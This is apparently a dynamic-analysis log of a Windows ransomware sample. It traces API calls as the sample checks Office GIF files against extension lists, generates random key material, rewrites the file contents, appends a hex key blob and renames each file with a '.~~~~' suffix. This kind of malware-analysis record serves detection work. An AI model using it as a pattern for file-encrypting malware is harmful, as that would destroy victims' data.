	[0142.609] lstrlenW (lpString=".DBX") returned 4
	[0142.609] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".DBX") returned 0x0
	[0142.609] lstrlenW (lpString=".MDT") returned 4
	[0142.609] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".MDT") returned 0x0
	[0142.609] lstrlenW (lpString=".SQB") returned 4
	[0142.609] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".SQB") returned 0x0
	[0142.609] lstrlenW (lpString=".vhd") returned 4
	[0142.609] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".vhd") returned 0x0
	[0142.609] lstrlenW (lpString=".bac") returned 4
	[0142.609] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".bac") returned 0x0
	[0142.609] lstrlenW (lpString=".mdf") returned 4
	[0142.609] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".mdf") returned 0x0
	[0142.609] lstrlenW (lpString=".BAK") returned 4
	[0142.609] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".BAK") returned 0x0
	[0142.609] lstrlenW (lpString=".BAC") returned 4
	[0142.609] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".BAC") returned 0x0
	[0142.609] lstrlenW (lpString=".dbs") returned 4
	[0142.609] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".dbs") returned 0x0
	[0142.609] lstrlenW (lpString=".vhdx") returned 5
	[0142.609] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.609] lstrlenW (lpString=".NDF") returned 4
	[0142.609] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".NDF") returned 0x0
	[0142.609] lstrlenW (lpString=".dat") returned 4
	[0142.609] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".dat") returned 0x0
	[0142.609] lstrlenW (lpString=".DBS") returned 4
	[0142.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".DBS") returned 0x0
	[0142.610] lstrlenW (lpString=".CKP") returned 4
	[0142.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".CKP") returned 0x0
	[0142.610] lstrlenW (lpString=".edb") returned 4
	[0142.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".edb") returned 0x0
	[0142.610] lstrlenW (lpString=".PST") returned 4
	[0142.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".PST") returned 0x0
	[0142.610] lstrlenW (lpString=".dbf") returned 4
	[0142.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".dbf") returned 0x0
	[0142.610] lstrlenW (lpString=".SQL") returned 4
	[0142.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".SQL") returned 0x0
	[0142.610] lstrlenW (lpString=".pst") returned 4
	[0142.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".pst") returned 0x0
	[0142.610] lstrlenW (lpString=".dbv") returned 4
	[0142.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".dbv") returned 0x0
	[0142.610] lstrlenW (lpString=".SDF") returned 4
	[0142.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".SDF") returned 0x0
	[0142.610] lstrlenW (lpString=".dtxs") returned 5
	[0142.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.610] lstrlenW (lpString=".db3") returned 4
	[0142.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".db3") returned 0x0
	[0142.610] lstrlenW (lpString=".OST") returned 4
	[0142.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".OST") returned 0x0
	[0142.610] lstrlenW (lpString=".dbx") returned 4
	[0142.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".dbx") returned 0x0
	[0142.610] lstrlenW (lpString=".DB3") returned 4
	[0142.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".DB3") returned 0x0
	[0142.611] lstrlenW (lpString=".DAT") returned 4
	[0142.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".DAT") returned 0x0
	[0142.611] lstrlenW (lpString=".VHDX") returned 5
	[0142.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.611] lstrlenW (lpString=".ndf") returned 4
	[0142.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".ndf") returned 0x0
	[0142.611] lstrlenW (lpString=".DB") returned 3
	[0142.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".DB") returned 0x0
	[0142.611] lstrlenW (lpString=".sql") returned 4
	[0142.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".sql") returned 0x0
	[0142.611] lstrlenW (lpString=".MYD") returned 4
	[0142.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".MYD") returned 0x0
	[0142.611] lstrlenW (lpString=".DBT") returned 4
	[0142.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".DBT") returned 0x0
	[0142.611] lstrlenW (lpString=".ACCDB") returned 6
	[0142.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.611] lstrlenW (lpString=".fdb") returned 4
	[0142.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".fdb") returned 0x0
	[0142.611] lstrlenW (lpString=".bak") returned 4
	[0142.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".bak") returned 0x0
	[0142.611] lstrlenW (lpString=".myd") returned 4
	[0142.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".myd") returned 0x0
	[0142.611] lstrlenW (lpString=".DTXS") returned 5
	[0142.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.611] lstrlenW (lpString=".ckp") returned 4
	[0142.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".ckp") returned 0x0
	[0142.611] lstrlenW (lpString=".dbt") returned 4
	[0142.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".dbt") returned 0x0
	[0142.612] lstrlenW (lpString=".db") returned 3
	[0142.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".db") returned 0x0
	[0142.612] lstrlenW (lpString=".TXT") returned 4
	[0142.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".TXT") returned 0x0
	[0142.612] lstrlenW (lpString=".MDF") returned 4
	[0142.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".MDF") returned 0x0
	[0142.612] lstrlenW (lpString=".bdb") returned 4
	[0142.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".bdb") returned 0x0
	[0142.612] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.612] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0142.612] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.612] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0142.613] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.613] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0142.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0142.614] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26260370718) returned 1
	[0142.614] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbe693530, dwHighDateTime=0x1d60e1e)) 
	[0142.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0142.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0142.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0142.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa9a8
	[0142.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.614] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa9a8 | out: hHeap=0x300000) returned 1
	[0142.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.614] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a9b40
	[0142.614] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0142.614] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9b40 | out: hHeap=0x300000) returned 1
	[0142.614] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0142.615] GetLastError () returned 0x0
	[0142.615] GetLastError () returned 0x0
	[0142.615] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0142.615] GetLastError () returned 0x0
	[0142.615] GetLastError () returned 0x0
	[0142.615] ReadFile (in: hFile=0x104, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x26dfec0*=0x42ea, lpOverlapped=0x0) returned 1
	[0142.617] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffffbd16, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.617] WriteFile (in: hFile=0x104, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x42ea, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x42ea, lpOverlapped=0x0) returned 1
	[0142.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0142.618] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.618] WriteFile (in: hFile=0x104, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.618] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.618] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.618] CloseHandle (hObject=0x104) returned 1
	[0142.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a9b40
	[0142.618] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir21f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir21f.gif.~~~~")) returned 1
	[0142.621] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9b40 | out: hHeap=0x300000) returned 1
	[0142.621] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0142.621] GetLastError () returned 0x0
	[0142.621] RtlWakeConditionVariable () returned 0x0
	[0142.621] GetCurrentThreadId () returned 0x9cc
	[0142.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".scr") returned 0x0
	[0142.622] lstrlenW (lpString=".cmd") returned 4
	[0142.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".cmd") returned 0x0
	[0142.622] lstrlenW (lpString=".dll") returned 4
	[0142.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".dll") returned 0x0
	[0142.622] lstrlenW (lpString=".bat") returned 4
	[0142.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".bat") returned 0x0
	[0142.622] lstrlenW (lpString=".cpl") returned 4
	[0142.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".cpl") returned 0x0
	[0142.622] lstrlenW (lpString=".sys") returned 4
	[0142.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".sys") returned 0x0
	[0142.622] lstrlenW (lpString=".msc") returned 4
	[0142.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".msc") returned 0x0
	[0142.622] lstrlenW (lpString=".com") returned 4
	[0142.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".com") returned 0x0
	[0142.622] lstrlenW (lpString=".lnk") returned 4
	[0142.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".lnk") returned 0x0
	[0142.622] lstrlenW (lpString=".msp") returned 4
	[0142.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".msp") returned 0x0
	[0142.622] lstrlenW (lpString=".pif") returned 4
	[0142.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".pif") returned 0x0
	[0142.622] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.622] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir27f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0142.624] lstrlenW (lpString=".sqb") returned 4
	[0142.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".sqb") returned 0x0
	[0142.625] lstrlenW (lpString=".ost") returned 4
	[0142.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".ost") returned 0x0
	[0142.625] lstrlenW (lpString=".txt") returned 4
	[0142.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".txt") returned 0x0
	[0142.625] lstrlenW (lpString=".mdt") returned 4
	[0142.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".mdt") returned 0x0
	[0142.625] lstrlenW (lpString=".BDB") returned 4
	[0142.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".BDB") returned 0x0
	[0142.625] lstrlenW (lpString=".eql") returned 4
	[0142.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".eql") returned 0x0
	[0142.625] lstrlenW (lpString=".DBF") returned 4
	[0142.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".DBF") returned 0x0
	[0142.625] lstrlenW (lpString=".EQL") returned 4
	[0142.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".EQL") returned 0x0
	[0142.625] lstrlenW (lpString=".FDB") returned 4
	[0142.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".FDB") returned 0x0
	[0142.625] lstrlenW (lpString=".EDB") returned 4
	[0142.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".EDB") returned 0x0
	[0142.625] lstrlenW (lpString=".DACPAC") returned 7
	[0142.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.625] lstrlenW (lpString=".VHD") returned 4
	[0142.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".VHD") returned 0x0
	[0142.625] lstrlenW (lpString=".DBV") returned 4
	[0142.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".DBV") returned 0x0
	[0142.625] lstrlenW (lpString=".dacpac") returned 7
	[0142.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.626] lstrlenW (lpString=".sdf") returned 4
	[0142.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".sdf") returned 0x0
	[0142.626] lstrlenW (lpString=".accdb") returned 6
	[0142.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".accdb") returned 0x0
	[0142.626] lstrlenW (lpString=".DBX") returned 4
	[0142.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".DBX") returned 0x0
	[0142.626] lstrlenW (lpString=".MDT") returned 4
	[0142.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".MDT") returned 0x0
	[0142.626] lstrlenW (lpString=".SQB") returned 4
	[0142.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".SQB") returned 0x0
	[0142.626] lstrlenW (lpString=".vhd") returned 4
	[0142.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".vhd") returned 0x0
	[0142.626] lstrlenW (lpString=".bac") returned 4
	[0142.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".bac") returned 0x0
	[0142.626] lstrlenW (lpString=".mdf") returned 4
	[0142.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".mdf") returned 0x0
	[0142.626] lstrlenW (lpString=".BAK") returned 4
	[0142.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".BAK") returned 0x0
	[0142.626] lstrlenW (lpString=".BAC") returned 4
	[0142.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".BAC") returned 0x0
	[0142.626] lstrlenW (lpString=".dbs") returned 4
	[0142.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".dbs") returned 0x0
	[0142.626] lstrlenW (lpString=".vhdx") returned 5
	[0142.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.626] lstrlenW (lpString=".NDF") returned 4
	[0142.626] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".NDF") returned 0x0
	[0142.627] lstrlenW (lpString=".dat") returned 4
	[0142.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".dat") returned 0x0
	[0142.627] lstrlenW (lpString=".DBS") returned 4
	[0142.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".DBS") returned 0x0
	[0142.627] lstrlenW (lpString=".CKP") returned 4
	[0142.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".CKP") returned 0x0
	[0142.627] lstrlenW (lpString=".edb") returned 4
	[0142.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".edb") returned 0x0
	[0142.627] lstrlenW (lpString=".PST") returned 4
	[0142.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".PST") returned 0x0
	[0142.627] lstrlenW (lpString=".dbf") returned 4
	[0142.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".dbf") returned 0x0
	[0142.627] lstrlenW (lpString=".SQL") returned 4
	[0142.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".SQL") returned 0x0
	[0142.627] lstrlenW (lpString=".pst") returned 4
	[0142.627] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF", lpSrch=".pst") returned 0x0
